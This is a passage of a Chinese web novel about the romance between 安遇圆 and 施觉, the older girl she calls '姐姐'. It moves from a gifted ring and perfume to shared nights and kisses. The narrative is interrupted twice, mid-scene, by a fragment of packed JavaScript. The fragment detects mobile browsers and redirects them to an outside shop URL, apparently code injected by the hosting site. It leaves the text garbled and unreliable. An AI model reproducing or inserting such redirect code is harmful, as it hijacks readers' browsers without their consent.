施觉喝完水,安遇圆居然觉得有那么点的尴尬。 不能尴尬。 “姐姐你这个戒指好漂亮啊。”安遇圆马上找到话说。 “喜欢吗?”施觉取了下来:“送你。” 安遇圆先是惊恐,她不是这个意思的。 但她也不客气,她伸手了。 施觉是要戴进安遇圆食指的,但安遇圆偏开了,让施觉套进了她的无名指里。 戒指过中间指节时,施觉突然问安遇圆:“你知道戴无名指是什么意思吗?” 安遇圆疑惑:“啊?这还有意思的啊?” “没什么,”施觉笑着摇摇头:“漂亮的意思。” 施觉这么说了,安遇圆当然要去查,等到车里终于没人聊天了,等到出了驾驶座上的姨姨之外的所有人都在看手机时,安遇圆把“戒指戴无名指是什么意思”输入了搜索框。 好多回答,五花八门,但高度重合的是一个叫做“正在热恋”的说法。 安遇圆突然警惕,只是她不记得戒指是从施觉的那只手指上取下来的。 但她会问。 安遇圆一个倾身过去:“姐姐你谈恋爱了吗?” 有点太突然了,施觉惊吸一口气的同时,也往后靠了点。 她手机放下,摊开手不触碰的姿态低头看着安遇圆,好一会儿了才问:“啊?” 安遇圆不介意再问一次:“你谈恋爱了吗?” 施觉低着头看安遇圆的眼睛,笑:“刚见面就问我这个问题啊?” 安遇圆张大她的疑惑:“不能问吗?” 施觉摊开的手放下,并很顺势地放在了安遇圆的脑袋上,她说了个:“能问,”才回答安遇圆:“没有。” 安遇圆说“哦”,又嘿嘿了声,这才发觉自己贴施觉好近,几乎要靠近施觉的怀里。 她的头发还被施觉绕在手指上。 “你呢?” “你呢?” 一声是施觉,一声是前排姨姨,两人异口同声。 安遇圆说:“没有啊,我也没有。” “是没有还是秘密啊,”姨姨笑着对妈妈说:“嘉宁,圆圆可以谈恋爱吗?” 嘉宁说:“当然可以,我看着很不开明吗?” “那你就少管我一点。”安遇圆接话。 妈妈道:“我还管得多啊?” “这话说的,”姨姨似乎嗅到了什么:“所以圆圆是谈了吗?” “那真没有,”安遇圆说完,转头再对看着她的施觉说:“没有的姐姐。” 施觉歪了歪脑袋,笑道:“好~” 安遇圆这才坐好,她也发现了,她的那小搓头发在施觉的食指绕开,最后那点尾巴扫了扫施觉的手心,才回到安遇圆身边。 和当初在S市不一样,这次姨姨给安遇圆和妈妈收拾出来一个单独的房间,她们就住家里。 这无疑让安遇圆非常高兴,在S市时安遇圆就觉得施觉每天要回酒店很麻烦,但妈妈向姨姨提出住在家里,姨姨总说太打扰了,总不愿意。 安遇圆脸皮比姨姨厚,即使这次她是客人,但她一点也不觉得麻烦了姨姨和姐姐,她就要住在姐姐家里,她就要打扰。 来的第一天晚上,她开心得睡不着觉,大半夜的就去找施觉了。 施觉也没睡,看起来正在忙碌,但是安遇圆进了房间,施觉就马上放下了手头的所有事情。 “怎么啦?”施觉拉了条椅子给安遇圆:“睡不着?” 安遇圆点头:“有点。” 施觉问:“认床吗?” 安遇圆想了想:“我不知道。” 她正想分析一些关于自己到底是不是认床的依据时,她鼻子突然感觉到了什么,于是她直接凑到施觉身边:“姐姐你好香啊。” 安遇圆说完准备去探寻这个香味的来源,她的下巴被人捏住了。 也一下子,脑袋被抬起来。 “和别人说话都凑这么近吗?”施觉问。 安遇圆眨巴眨巴眼睛,她没有从这个视角看过施觉,施觉的鼻尖尖尖的,说话的嘴一张一合。 “嗯?”施觉手更用劲了,更把安遇圆拉过去。 安遇圆的鼻子一下子碰到了施觉的下巴,吓得安遇圆瞬间从施觉的手逃离,老老实实坐了回去。 安遇圆明白了:“你喷香水了啊?” 施觉嗯了声。 安遇圆问:“为什么大晚上的喷香水啊?” 施觉顿了一下:“……问得好。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485084|201964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 安遇圆疑惑:“啊?” 施觉说:“骗你过来闻。” 安遇圆突然的一下子,人好热:“什么啊。” 施觉摇摇头:“开玩笑的,”她把桌上的香水拿起来:“刚买的,试试气味。” 安遇圆哦了声,她也拿过那瓶香水:“我和别人说话不那样的。” 施觉:“什么?” 安遇圆转香水的瓶子,看看正面,再看看背面:“你不是问我,和别人说话是不是都凑那么近,”她摇头:“不会的。” 施觉问:“是就对我这样吗?” 她们不是在一个纯粹安静的环境下聊天的,施觉的房间放了音乐,用了一个很好的音响,把缓慢的轻声细语,和房间里的空气融合在一起。 施觉话说得轻,安遇圆感觉有人在挠她。 “是吧。”安遇圆说。 施觉问:“为什么?” 安遇圆说:“因为你是姐姐啊。” 施觉问:“别的姐姐呢?” 安遇圆有点疑惑:“谁?” 施觉停顿半秒,问:“你别的姐姐。” 安遇圆:“我哪有别的姐姐。” 施觉缓缓地笑了些,她对安遇圆说:“香水好闻吗?想不想喷?” 安遇圆点头:“好啊,我要。” 但是她没有喷过香水,开了盖之后她问施觉:“喷哪啊?” 施觉说:“想喷哪都行。” 安遇圆听说过的,脖子,或是手腕,或者也有人喷在空气里,然后冲进去转两圈。 “你喷,”施觉又说:“我猜猜。” 安遇圆正想动手,施觉这话让她停了下来:“好啊。” 好玩,安遇圆站了起来,离施觉远点,几乎是站在了门口。 不过她也没什么想法,老老实实地喷在了脖子和手腕上。为了不那么容易被发现,安遇圆按压得很轻,喷完后也很快挥一挥,扇一扇。 “好了,”安遇圆重新回到施觉面前,也好奇:“你要怎么猜。” 话音刚落,施觉一下子就凑了过来。 她的手搭在安遇圆的椅子扶手上,脑袋在安遇圆胸前。 好熟悉的动作,不过安遇圆还没多想,施觉就把安遇圆的手抬了起来。 安遇圆睁大眼睛,但因为怕暴露,马上又恢复正常。 可惜还是被施觉看在眼里,只是施觉什么都不说,眼角微弯地看着安遇圆的眼睛,用余光捕捉安遇圆的手,抓起来,将手腕凑近鼻尖。 一切尽在不言中,安遇圆终于没忍住笑了:“答对一个,我还喷了另外一个。” 施觉把安遇圆的手放下,明明是嗅觉的游戏,施觉却用她的眼睛扫视安遇圆,看安遇圆的额头,看她的头发,看她的脖子,又看她的唇。 “抬头。”施觉看完说。 安遇圆已经感觉到要被猜到了,她抿着笑抬头。 然后眼睁睁看着施觉凑靠近。 但最后施觉只是把手指放在安遇圆的脖子上,问安遇圆:“对吗?” 安遇圆憋着的一口气突然松下来:“对,”她问施觉:“你没闻,你怎么知道?” 施觉说:“这很危险。” 安遇圆不懂:“为什么?” 施觉:“想知道?” 安遇圆点头:“想。” 话音落,施觉突然低头凑过来,闻安遇圆的脖子。 安遇圆呼吸一顿。 11. 第 11 章 这天晚上,安遇圆在施觉的房间和施觉讨论了一小会儿的香水。 施觉的香水不多,就两瓶,施觉说一瓶是当初在S市买的,一瓶是昨天刚买。 安遇圆听着很高兴,那岂不是和它很有缘。 施觉不置可否,只问安遇圆,喜不喜欢香水。 安遇圆的回答是“一般”,她也有一些朋友会喷香水,但她从来对这个东西不感冒,商场闻多了,她觉得这个东西好普通,看不清优势,但她会用香薰。 施觉说,以后她会喷得再少一点。 果然第二天安遇圆就闻不到了,她也忘了施觉会喷香水这回事。 直到好几天之后,熟悉的香味被压在安遇圆的鼻尖上。 那是已经晕头转向的安遇圆,迷糊之间评价了句,姐姐你的香水味好淡。 施觉说,是啊,淡一点,就只有你能闻到。 从此,安遇圆也爱上了香水。 睡前和施觉聊了一通,虽然没什么意义,但安遇圆心满意足。 能和施觉说话她就觉得很开心,所以回房间之后,马上就睡着了,美美的一夜到白天。 A市的生活就这么开启,白天大人们出去谈生意,安遇圆和施觉去街上玩,晚上大人们有饭局,安遇圆和施觉还在外面玩。 南北方的饮食不一,让安遇圆什么都很好奇,她每天都要让施觉带她上街,A市的所有活动和演出,安遇圆都不想错过。 安遇圆还很喜欢和南方的店老板聊天,用他们独有的口音对话。 不过施觉说话是不一样的,她声音很好听,她没有口音,她字正腔圆。 当然安遇圆也很喜欢听施觉说方言。 是和在街上听到的不一样的,温温婉婉的,轻轻柔柔的。 “那我的名字,用A市话怎么说啊?”夜里快十二点,已经学了好多的安遇圆继续问施觉。 施觉有些露出难色:“名字啊,”她想了一会儿,突然笑了声:“安,yuyuan。” 安遇圆不明就里地重复:“安yuyuan,你笑什么啊?” 施觉的眼睛更弯了:“这是芋圆的方言。” 安遇圆点头:“是啊,我不就是安遇圆。” 施觉听了安遇圆的话,笑意更甚了,她伸手轻轻点了一下安遇圆的鼻尖:“是,你是安芋圆。” 安遇圆已经来A市快六天了,前几天她一直和妈妈一个房间,这晚她第一次爬上施觉的床。 “哦!我好像听懂了,”学多了,安遇圆是能有些语感的:“你说的是芋圆!”她用手比划了个圆圆的样子:“是吗?” 施觉点头:“嗷嗷yuyuan。” “嗷嗷”安遇圆也记得,是聪明的意思。 “嗯,嗷嗷的我,”安遇圆重复,也说:“姐姐也嗷嗷。” 施觉又笑了。 安遇圆似乎发现,今晚的施觉特别爱笑,从安遇圆突然钻进施觉被窝里开始,不管她们的聊天内容是有趣的还是无聊的,施觉都会笑。 安遇圆多喜欢施觉笑啊,那既然这样。 “我今晚和你睡。” 安遇圆说完这话,像是怕施觉会赶她走,倏地将被子拉到脖子处。 施觉果然又笑了,她十分平静没有一点多余动作地看着安遇圆。 安遇圆欣然,再把被子拉起来点,遮住嘴,闷闷地再重复一次:“那我今晚就在这儿睡?” 施觉点头也眨眼:“好~”她也问安遇圆:“怎么呢,觉得我会赶你走?” 安遇圆放松下来:“你不会赶我走的,只是我怕你不喜欢有人和你一起睡。” 施觉说:“别人是不可以,你可以。” 安遇圆眼睛亮起来:“真的啊?” 施觉再次点头眨眼:“嗯。” 安遇圆:“我不一样?” 施觉先回应安遇圆的话:“你不一样,”而后又问:“你想要不一样吗?” 安遇圆点头:“想啊,当然想。” 施觉问:“为什么?” 安遇圆:“这样很特别。” 能和施觉一起睡觉,安遇圆完全高兴起来,她松松手把被子往下扯一些,开心道:“姐姐你的床好香,”说着她翻了半个身,趴在枕头上:“枕头也香。” 再寻着更香的源头,往施觉身上凑:“姐姐你也好香。” 抬起头,施觉一副投降的样子微微往后仰。 很熟悉的姿态,让安遇圆想到第一天到A市时,车里的施觉和晚上的自己。 但是在施觉面前,安遇圆从来不想太多,她根本没去思考她们为什么会这样,反而更凑近一点。 因为她发现了:“姐姐你吃糖了?” 施觉悬在半空中的拳头微微握紧,她垂眸看着安遇圆,半晌道:“你这么对我。” 安遇圆疑惑:“嗯?” 施觉很轻地叹了声:“桃子味的含片,你鼻子好灵。” 安遇圆骄傲地哼了声,躺会自己的枕头:“不知道了吧,我鼻子可灵了,我妈妈总说我是狗鼻子。” 施觉笑:“这是什么好话吗?” 安遇圆不管:“就是好话。” 安遇圆的睡眠生物钟快到了,其实早在教方言的时候她就有点困了,但不知道为什么她不太想睡觉。 心里有些迷迷蒙蒙的感觉,施觉在身边,她不想这么快就闭上眼睛。 于是又打了个哈欠。 “困了?”施觉问。 安遇圆马上闭上嘴:“不困。” 施觉听不懂人话似的把房间灯关闭,打开了台灯,还问安遇圆:“睡前有什么程序吗?” 安遇圆没听懂:“什么?” 施觉:“比如,需要睡前故事?” 多幼稚的事啊,安遇圆当然。 “有,有的,”安遇圆侧过身子,面对施觉,笑道:“要听,”并且鬼点子生成:“姐姐你用方言给我讲。” 施觉挑眉:“这可有点难住我。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485085|201964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 安遇圆抓住施觉的手臂:“不难不难,姐姐你是最棒的。” 施觉没有拒绝过安遇圆的任何请求,方言就算了,安遇圆还点名要听刻舟求剑。 拗口又为难,施觉还是讲了。 听不懂也不想问,安遇圆静静地躺着。 躺着她在想,施觉吃的是什么含片啊?为什么这么好闻,为什么她好像还闻到花香了。 她又想,施觉的眼睛鼻子好漂亮啊,眉毛耳朵头发,也很漂亮。 这个嘴,叽里咕噜说什么呢? 她想起了一年前暑假,她们即将分别时在房间里那个蜻蜓点水般的软软的吻。 安遇圆眨了眨眼睛,也不知道自己怎么了,就这么凑上去了。 施觉正说话,正张着嘴,安遇圆亲在了施觉的下唇上。 空气瞬间静置,故事声戛然而止,安遇圆的神智也回温。 …… 安遇圆溜溜眼珠子,缓缓慢慢地回到自己的枕头上。 ……? 能看得出施觉很惊讶的表情。 怎么办…… 安遇圆的脑袋开始飞速旋转。 但安遇圆还没想好要怎么说,施觉突然伸出手。 香味靠近,安遇圆的脸颊被捧住,安遇圆的唇被压住。 那天晚上的吻是很温柔的,在安遇圆的记忆,软绵绵的,很清甜,是桃子味。 不像现在。 不像现在,在逼仄的酒店玄关,安遇圆被控制在墙和施觉之间,施觉抓着她的手腕,扣着她的脖子,用力地亲吻。 她咬安遇圆的唇,她迫不及待地撬开安遇圆的牙齿,再将安遇圆的舌尖卷出,缠绕在一起。 安遇圆的呼吸变得钝,被托起的下巴迫使她踮起脚尖仰头。 施觉飘过两人脸颊的发丝,施觉冰凉的鼻尖,施觉温热的气息,施觉熟悉的香水味,无一不让安遇圆沉溺,渴求更多。 安遇圆胸腔起伏,施觉熟悉的气味在周围环绕。 刺激的快感,让安遇圆不禁从鼻腔里发出一声哼鸣。 轻轻的声音回荡,让施觉停了下来。 感受到施觉的离开,安遇圆大口呼吸,她手指发麻脑袋混沌,半阖着眼蒙着雾,看不清眼前人。 但声音却清晰。 “有期待再见到我吗?”施觉问。 安遇圆张开嘴。 却被施觉打断:“不要想着骗人。” 安遇圆心跳如鼓一般被敲了一闷,她眨眨眼,微微抬眸。 “有。” 施觉表情满意,嘴角勾起,她扣着安遇圆后脑的手绕到了前面,大拇指轻轻按在了安遇圆的嘴角上。 施觉的眼神跟她的手,在安遇圆的嘴边徘徊。 安遇圆顶不住施觉这样看着她,她缓慢地闭上眼睛,稍稍转头再抬起,用唇摩擦施觉的手心。 再抬眼看施觉。 施觉眼神变得更深,她垂下眼眸,将大拇指伸进安遇圆的嘴里。